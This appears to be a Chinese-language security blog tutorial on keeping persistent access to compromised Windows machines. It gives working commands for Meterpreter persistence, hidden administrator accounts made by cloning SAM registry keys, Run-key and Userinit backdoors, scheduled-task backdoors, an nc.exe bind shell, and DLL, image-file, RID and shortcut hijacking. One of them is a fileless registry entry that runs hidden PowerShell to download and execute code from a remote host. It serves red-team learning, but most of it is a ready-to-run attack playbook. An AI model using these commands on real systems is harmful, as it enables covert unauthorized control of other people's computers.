Windows權限維持

前言

最近終於不是那麼忙了,有時間靜下心來學點知識,這篇文章自起稿到發佈,用時近三周,其中有近一周的時間在迷茫在焦躁,甚至懷疑、否定自己。網上的表哥們個頂個兒的優秀,於是就給自己很大的壓力,所以那一個周的迷茫期,我打了一天的聯盟,這裡要譴責下自己,下次調節自己盡量快,別浪費時間,這樣,強迫症的我也就不用半夜發稿了,哈哈哈。最後也想明白了,與其直接放棄,不如放空自己,事情還是要接着做,安全路還是要走,堅持苟到最後才能問鼎殿堂,成為真正的強者。所以靠着碎片時間學習、操作並整理出來。截止文章發佈時間,北京疫情又反覆了,看了三位病例的行程軌跡,自愧不如感慨萬千,與12月初成都那位比起來,北漂們的生活既匆忙又真實,生存與生活真的是兩個概念。

Window權限維持

幾種常見的 Windows 系統後門,包括Windows系統隱藏用戶、Shift粘粘鍵後門、註冊表後門、Windows 計劃任務、Windows 新服務後門、WMI後門等等。

0x00.Presistence模塊實現持久後門

Meterpreter的腳本persistence.rb,他將創建一個meterprer服務,即使遠程主機再次啟動,該腳本依然可以讓主機重新連接遠程的攻擊端口,由於meterpreter不需要身份驗證,這也導致任何發現端口的黑客也可利用此渠道進入後門,在真實情況下,建議完成任務後儘快自行清理。

在獲取主機session後,可以通過」-h」查看哪些選項可用:

配置持續Meterpreter會話,以等待用戶登錄到遠程系統,並嘗試每5秒鐘在端口17722上的IP地址xx.xx.xx.xx連接回監聽器。命令如下:

run persistence -U -i 5 -p 17722 -r xx.xx.xx.xx

過提示判斷,該組件主要是在c盤Temp下建立一個vbs文件,在註冊表中設置,開機啟動該vbs腳本。重啟主機並驗證是否重連,發現開啟監聽端口後,主機重新連接了端口,產生了session:

注意:每次使用該模塊,msf會自動生成一個rc文件,執行該文件的命令,可刪除目標機器中的vbs腳本,防止對目標系統造成一些後續影響,建議在滲透測試結束後執行該操作。

0x01.隱藏賬戶

該方法是通過建立隱藏賬戶,製作系統用戶遠程控制後門,維持目標Windows系統權限。製作方法跟步驟如下:

Tip:解決中文亂碼

chcp 65001

1)在目標主機cmd中輸入以下命令,創建一個名為whoami$的隱藏賬戶,並把該隱藏賬戶設置為管理員權限。

net user zha0gongz1$ Liu78963 /add
net localgroup administrators zha0gongz1$ /add

如上圖,我們已經創建成功,執行net user命令,發現是看不到zha0gongz1$用戶,但是這就結束了嗎,沒有!雖然上面net user看不見該隱藏用戶,但是在控制面板和計算機管理的本地用戶和組中,仍然是可以看的到該用戶的:

為了更好地隱藏我們的後門賬戶,我們還要開啟目標主機的遠程桌面進行如下操作。

打開註冊表編輯器,找到HKEY_LOCAL_MACHINE\SAM\SAM,單機右建,選擇「權限」,把Administrator用戶的權限,設置成「完全控制」權限,然後關閉註冊表編輯器,再次打開即可。

這樣SAM下的文件就都能看見了。

然後,在註冊表編輯器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names處,點擊Administrator用戶,在左側找到和在右邊顯示的鍵值的類型一項「0x1f4」相同的目錄名,也就是箭頭所指目錄「000001F4」:

複製000001F4目錄中的F鍵的值:

然後找到與隱藏賬戶whoami$右邊類型的鍵值「0x3e9」相同的目錄名

然後將000001F4的F值粘貼到000003E9的F值中,點擊確定:

然後從註冊表中右鍵導出000003E9zha0gongz1$,並刪除zha0gongz1$用戶 :

net user zha0gongz1$ /del


此時,查看註冊表以及本地用戶和組或者控制面板,zha0gongz1$用戶已經沒有了:
最後,將剛才導出的兩個後綴為.reg的註冊表項導入註冊表中:

這樣我們的隱藏賬戶zha0gongz1$就創建好了。現在,不管你是在命令提示符下輸入 net user 或者在系統用戶管理界面都是看不到zah0gongz1$這個賬戶的,只有在註冊表中才能看得到。

0x02.註冊表鍵後門

該方法是通過將需要執行的後門程序或者攻擊腳本路徑添加到註冊表的自動啟動項中,從而實現目標主機啟動或登錄時便會執行後門程序使我們獲得其控制權限。

一般我們使用註冊表的如下位置:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run   // 開啟時啟動程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit   // 登錄時啟動程序

(1)手動製作

首先我們製作一個metasploit後門:

將該後門程序上傳到目標主機的C:\Windows\System32目錄中:

然後在目標主機的meterpreter執行如下命令註冊表進行操作製作後門:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor   #查看鍵值

如上圖所示,後門創建成功。此時我們重新開一個metasploit監聽,然後輸入「shutdown -r -t 0」命令讓目標主機重啟,當目標主機重新啟動後便會啟動執行backdoor.exe後門程序,我們攻擊機的新開的metasploit監聽上就會成功上線:

使用以下命令也可以一鍵實現無文件註冊表後門:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('//192.168.28.142:8888/logo.gif'))\"" /f

我們還可以操作註冊表的Userinit鍵,這個鍵值默認為C:\Windows\system32\userinit.exe,後面加路徑,再加逗號也可以。這裡也能夠使系統啟動時自動初始化程序。通常該註冊鍵下面有一個userinit.exe,但這個鍵允許指定用逗號分隔的多個程序,例如「userinit.exe,OSA.exe」:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

讓目標主機在用戶進行登陸時,winlogon運行指定的後門程序。

除此之外還有以下可利用的註冊表鍵:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只會在開機時啟動一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices   
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

(2)Metasploit 下的利用

Metasploit通過使用Meterpreter腳本和後滲透模塊來支持通過註冊表的持久性。Meterpreter腳本將以VBS腳本的形式創建一個有效payload,該payload將被上傳到目標主機的磁盤上,並創建一個註冊表項,該註冊表項將在用戶登錄期間循環運行該有效負載。

run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
  • -U指定啟動方式為用戶登錄時自啟動
  • -X指定啟動的方式為開機自啟動
  • -P 指定所使用的payload
  • -i不斷嘗試反向連接的時間間隔,我們這裡設置的是5秒鐘執行一次
  • –r指定攻擊者的ip
  • -p 指定攻擊者監聽的端口


(3)Empire 下的利用

在Empire上面有一個persistence/userland/registry後滲透模塊,可以自動幫我們完成上面手動創建註冊表後門的任務。

假設我們已經在Empire上面獲得了一個目標主機的session,我們可以通過設置該模塊在目標主機上創建註冊表後門:

usemodule persistence/userland/registry
set Listener <監聽名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

如下圖所示,成功在目標主機上創建後門:

注意:殺毒軟件針對此類註冊表後門有專門的查殺機制。

註冊機開機啟動項

  1. Load註冊鍵
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一個字符串名為load鍵值

  1. Explorer\Run註冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  1. RunServicesOnce註冊鍵
# 其中的程序會在系統加載時自動啟動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
  1. 常用註冊鍵
# 其下的所有程序在每次啟動登錄時都會按順序自動執行。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# 與Run鍵不同的是,RunOnce下的程序僅會被自動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  1. RunOnceEx鍵
#Tips: 該鍵是 Windows XP/2003 特有的自啟動註冊表項。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

0x03.Windows 計劃任務後門

​ 計劃任務可以讓目標主機在特定的時間執行我們預先準備的後門程序從而使我們獲得目標系統的控制權。計劃任務的持久化技術可以手動實現,也可以自動實現。有效負載可以從磁盤或遠程位置執行,它們可以是可執行文件、powershell腳本或scriptlet的形式。

(1)利用 at 命令

at 命令是Windows自帶的用於創建計劃任務的命令,但是他主要工作在Windows Server 2008之前版本的操作系統中。我們可以通過at命令通過跳板機在目標主機DC上創建計劃任務,讓計算機在指定的時間執行木馬程序,從而獲得對內網目標主機的控制。

  1. 首先在目標主機上傳metasploit生成的後門程序:
  2. 然後進入目標主機的shell使用net time命令確定目標主機的當前時間:
  3. 接着在目標主機的shell中使用at命令創建計劃任務,讓目標主機在指定的時間運行metasploit木馬程序:
at 21:36:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

如上圖所示,計劃任務創建成功,目標主機將在每個工作日的21:36:00執行後門程序,我們便可以在這個時間獲得目標機器的控制權

2)利用 schtasks 命令

上面我們講了用at命令創建計劃任務,但是該命令已經被Windows Vista、Windows Server 2008及之後版本的操作系統廢棄了,代替他的是schtasks命命令。schtasks命令比at命令更為靈活、自由。下面來演示schtasks命令的使用,於是,攻擊者開始使用schtasks命令來代替at命令。

利用schtasks創建後門的大致流程如下:

  1. 首先在目標主機上傳metasploit生成的後門程序。

  2. 然後在目標主機上創建一個名稱為「backdoor」的計劃任務。該計劃任務每分鐘啟動一次,啟動程序為我們之前到C盤下的backdoor.exe,啟動權限為system。命令如下:

schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

然後新開一個metasploit監聽,等待一分鐘後這個監聽便收到了目標主機的session,並且這個session還是system權限的。

(3)利用SharPersist工具

下載地址://github.com/fireeye/SharPersist/releases

SharPersist的創建是為了幫助使用多種不同的技術在Windows操作系統上建立持久性。它是一個國外安全人員用C#編寫的命令行工具,可以反射性的加載Cobalt Strike的「execute-assembly」命令或任何其他支持反射性加載.NET程序集的框架。SharPersist採用模塊化設計,以便將來添加新的持久性技術。還有一些與tradecraft相關的項已經內置到該工具及其支持的持久性技術中,例如file time stomping策略和最小化或隱藏運行應用程序。

該工具支持的持久性技術有:

  • keepass-keepass配置文件後門
  • reg-註冊表項添加/修改
  • schtaskbackdoor-通過向後門計劃任務添加其他操作來完成該任務
  • startupfolder-啟動文件夾中的lnk文件
  • tortoisesvn-烏龜svn鉤子腳本
  • service-創建新的Windows服務
  • schtask-創建新的計劃任務

如果用戶具有管理員級別的特權,則可以通過SharPersist工具創建一個新的計劃任務,該任務將在Windows登錄期間執行我們上傳好的有效載荷。

  1. 在目標主機上傳我們新生成的metasploit木馬和SharPersist程序:

  2. 然後使用以下命令創建我們惡意的計劃任務:

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon

然後新開一個metasploit監聽,收到目標主機的session,並且還是system權限的:

0x04.NC+註冊表實現持久後門

注意:此方法防火牆一般都會攔截,實用性一般

使用meterpreter上傳nc.exe,並枚舉註冊表內容(開機啟動)

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

向該註冊表增加內容(開機啟動)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 11111 -e cmd.exe'  

查看對應nc註冊表鍵值是否增加成功:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

確定重啟後目標系統開機是否正常運行nc.exe(防火牆已經關閉,這裡雖獲取到session,但不穩定,不明原因,了解的師父還請留下寶貴的知識點,抱拳了)

0x05.DLL 劫持

在加載DLL過程中,系統都是先在程序目錄加載DLL,如果沒有找到就按照規定的順序去搜索,但如果DLL的路徑沒有在system32中,攻擊者就有可能偽造一個dll被程序加載。

系統在使用DLL搜索順序取決於世否啟用安全的DLL搜索模式 。

TIPS:

WindowsXP默認情況下禁用安全DLL搜索模式。之後OS默認啟用安全DLL搜索模式。若要使用此功能,需創建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 註冊表值,0為禁止,1為啟用。

SafeDLLSearchMode啟用後,搜索順序如下:

1. 從其中加載應用程序的目錄、
2. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
3. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
4. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
5. 當前目錄。
6. PATH環境變量中列出的目錄。

SafeDLLSearchMode禁用後,搜索順序如下:

1. 從其中加載應用程序的目錄
2. 當前目錄
3. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
4. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
5. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
6. PATH環境變量中列出的目錄。

​ DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程序將加載惡意DLL。

​ 可以用來劫持系統程序,也可以劫持用戶程序。劫持系統程序具有兼容性,劫持用戶程序則有針對性。可以劫持系統程序的dll有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以lpk.dll為列,explorer桌面程序的啟動需要加載lpk.dll,當進入桌面後lpk.dll便被加載了,劫持lpk.dll之後,每次啟動系統,自己的lpk.dll都會被加載,實現了持久化攻擊的效果。

​ DLL 劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程序將加載惡意DLL。

編譯後劫持用的DLL文件改成原DLL文件的名字,原DLL文件改為代碼中調用DLL文件的名字。(為了保證應用程序的正常運行,需要在執行惡意DLL文件後繼續加載應用程序缺失的DLL文件)。

0x06.文件夾啟動

在每次開機或重啟的時候就會運行啟動文件夾下的程序。

C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

0x07.映像劫持

在下面註冊表路徑下創建一個子項,子項的名稱為你要劫持的exe名稱,比如 cmd.exe,然後創建一個值,鍵名為Debugger, 值為要執行的惡意腳本。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

運行 cmd.exe 時執行成功運行 calc.exe(測試時安全軟件攔截,所以要先退出殺軟)。

0x08. RID劫持

新建一個普通用戶 zha0gz ,按照0x01中設置Administrator權限為完全控制時才能在下面註冊表找到。

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

對於Windows系統來說,註冊表下包含當前系統的所有帳戶列表,每個帳戶的默認鍵值對應該帳戶詳細信息的註冊表位置 (即RID的十六進制表示)。

查看 Administrator 對應鍵值,數值名稱為F ,數值內容 0030 的位置複製到 zha0gz 對應鍵值,數值名稱為F ,數值內容 0030 的位置。

點擊確定然後關機重啟,登陸 zha0gz 用戶。

0x09.快捷方式劫持

Windows快捷方式包含對系統上安裝的軟件或文件位置(網絡或本地)的引用。快捷方式的文件擴展名是.LNK,它為 紅隊提供了很多機會來執行各種格式的代碼 exe、vbs、Powershell、scriptlet等。

如下案例,powershell 並沒有做任何處理只做演示學習。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"